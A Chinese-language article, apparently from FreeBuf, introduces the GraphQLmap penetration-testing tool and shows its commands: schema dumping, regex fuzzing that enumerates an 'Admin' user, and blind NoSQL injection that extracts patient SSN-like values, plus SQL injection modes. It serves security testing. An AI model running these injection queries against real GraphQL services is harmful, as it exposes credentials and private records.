如何使用GraphQLmap对GraphQL节点进行渗透测试 – 作者:Alpha_h4ck

关于GraphQLmap

GraphQLmap是一个可以跟GraphQL节点交互的脚本引擎，广大研究人员可以使用GraphQLmap来针对GraphQL节点进行渗透测试和安全研究。

工具安装

$ git clone https://github.com/swisskyrepo/GraphQLmap

$ python graphqlmap.py                                                              

   _____                 _      ____  _                            

  / ____|               | |    / __ \| |                           

 | |  __ _ __ __ _ _ __ | |__ | |  | | |     _ __ ___   __ _ _ __  

 | | |_ | '__/ _` | '_ \| '_ \| |  | | |    | '_ ` _ \ / _` | '_ \

 | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |

  \_____|_|  \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/

                  | |                                       | |    

                  |_|                                       |_|    

                                         Author:Swissky Version:1.0

usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]]

 

optional arguments:

  -h, --help          show this help message and exit

  -u URL              URL to query : example.com/graphql?query={}

  -v [VERBOSITY]      Enable verbosity

  --method [METHOD]   HTTP Method to use interact with /graphql endpoint

  --headers [HEADERS] HTTP Headers sent to /graphql endpoint

  --json              Send requests using POST and JSON

功能和使用样例

跟一个GraphQL节点连接

python3 graphqlmap.py -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}'

导出GraphQL架构

使用dump_new导出GraphQL架构，这个功能将会自动使用找到的字段填充”autocomplete”：

GraphQLmap > dump_new                     

============= [SCHEMA] ===============

e.g: name[Type]: arg (Type!)                   

                                                                                               

Query                                          

        doctor[]: email (String!),                                                             

        doctors[Doctor]:                                                                       

        patients[Patient]:                                                                     

        patient[]: id (ID!),                   

        allrendezvous[Rendezvous]:                                                             

        rendezvous[]: id (ID!),                                                                

Doctor                                         

        id[ID]:                                                                                

        firstName[String]:                     

        lastName[String]:                                                                      

        specialty[String]:                     

        patients[None]:

        rendezvous[None]:

        email[String]:

        password[String]:

[...]

视频演示：【点我观看】

跟一个GraphQL节点交互

编写一个GraphQL请求并执行它：

GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}

{

    "data": {

        "doctors": [

            {

                "firstName": "Admin",

                "id": "5d089c51dcab2d0032fdd08d",

                "lastName": "Admin"

            }

        ]

    }

}

GraphQL字段模糊测试

使用GRAPHQL_INCREMENT和GRAPHQL_CHARSET来对参数进行模糊测试：

GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi$\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi%\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi(\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi)\"} }"){firstName lastName id}}   

[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi*\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi+\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi,\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi-\"} }"){firstName lastName id}}   

[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi.\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi/\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi0\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi1\"} }"){firstName lastName id}}     

[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi?\"} }"){firstName lastName id}}

[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}

视频演示：【点我观看】

NoSQLi注入

在请求中使用BLIND_PLACEHOLDER 并实现NoSQLi注入：

GraphQLmap > nosqli

Query > {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}

Check > 5d089c51dcab2d0032fdd08d

Charset > 0123456789abcdef-

[+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b

GraphQLmap >

视频演示：【点我观看】

SQL注入

GraphQLmap > postgresqli

GraphQLmap > mysqli

GraphQLmap > mssqli

项目地址

GraphQLmap：【GitHub传送门】

来源：freebuf.com 2021-05-25 07:00:52 by: Alpha_h4ck